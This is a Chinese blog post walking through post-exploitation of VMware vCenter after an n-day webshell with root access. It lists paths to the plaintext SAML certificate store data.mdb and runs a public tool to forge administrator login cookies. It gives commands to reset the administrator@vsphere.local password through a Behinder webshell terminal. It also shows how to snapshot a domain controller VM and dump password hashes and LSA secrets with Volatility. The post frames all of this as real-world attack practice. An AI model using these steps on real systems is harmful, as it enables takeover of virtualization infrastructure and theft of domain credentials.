实战中遇到vCenter后渗透利用

VMware vCenter 是高级服务器管理软件

一、具体操作

1.前提

  • 一般遇到vCenter,利用nday或者1day拿到了shell,再进行后续深入利用
  • 对于vCenter这类集群系统,获取该类系统的shell没办法把危害最大化。

2.SAML 证书

  • VMware vCenter 提供自己的 SSO 服务,以便用户可以对所有 VMware 服务使用一组凭据。

    • VMware Directory (vmdir) 服务主要负责 vCenter SSO 服务并存储关键身份验证信息
      • 例如本地 vCenter 用户名和密码哈希以及 SAML 证书。
  • 相对应的vCenter中的 data.mdb 包含证书,可以在 vCenter 备份中以及具有 root 权限的 VCSA 主机上找到。

    • 证书以明文形式存储,可用于为任何用户(包括内置管理员)签署任何 SAML 身份验证请求。
  • 通过路径查找

    • #Linux
      /storage/db/vmware-vmdir/data.mdb
      #Windows
      c:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
      
  • 通过vCenter的备份文件

    • vCenter备份内有一个名为lotus_backup.tar.gz 的存档

3.通过nday拿到了一个Vcenter的shell后

  • 在对应的系统的文件夹里找到相对应的文件。

  • 这里通过CVE-2022-22005拿到了一个webshell,并且权限为root。

  • 使用路径 /storage/db/vmware-vmdir/ 去找到我们的data.mdb文件。

  • 将data.mdb文件下载下来,并且开始利用脚本工具

    • #https://github.com/horizon3ai/vcenter_saml_login
      python3 vcenter_saml_login.py -t 10.102.255.62 -p data.mdb
      
  • 拿到cookie之后可以开始写入cookie并且登录vCenter

  • 将Cookie写入后,设置Path路径为/ui后,直接访问,即可成功登录

4.重置Administrator密码

  • 这是一个危险性较大的一个操作,并且容易被管理员所发现

    • 但是确实是实战当中最方便的一种方法
  • 通过nday拿到的webshell,在冰蝎启动一个虚拟终端。

    • 在重置密码之前我们需要知道它的域,为了在之后重置密码成功后登录vCenter。

    • /usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
      
    • 得到域为vsphere.local,我们直接开始重置密码。

      • #Linux 
        /usr/lib/vmware-vmdir/bin/vdcadmintool 
        #Windows 
        C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe
        
    • 如果直接使用冰蝎的命令执行功能是无法成功的,我们需要启动一个虚拟终端,进行交互。

      • 选择3
        • 输入administrator以及我们刚才得到的域:vsphere.local。
        • 输入 administrator@vsphere.local 之后就会重置密码并且给你一个新的密码。
      • 这个时候我们就可以拿新的密码访问Vcenter并成功登录

5.DC Hash

  • 这里我是推荐直接快照的方法。

  • 直接Take Snapshot然后等待快照的完成后点击Datastores。

  • # Volatility2.6内存取证工具
    https://github.com/volatilityfoundation/volatility
    
    volatility_2.6_win64_standalone.exe -f KM-RHDC01-Snapshot232.vmem imageinfo
    volatility_2.6_win64_standalone.exe -f KM-RHDC01-Snapshot232.vmem --profile=Win8SP0x64 hashdump
    volatility_2.6_win64_standalone.exe -f KM-RHDC01-Snapshot232.vmem --profile=Win8SP0x64 lsadump
    
posted @ 2023-09-02 17:43  树大招疯  阅读(900)  评论(0编辑  收藏  举报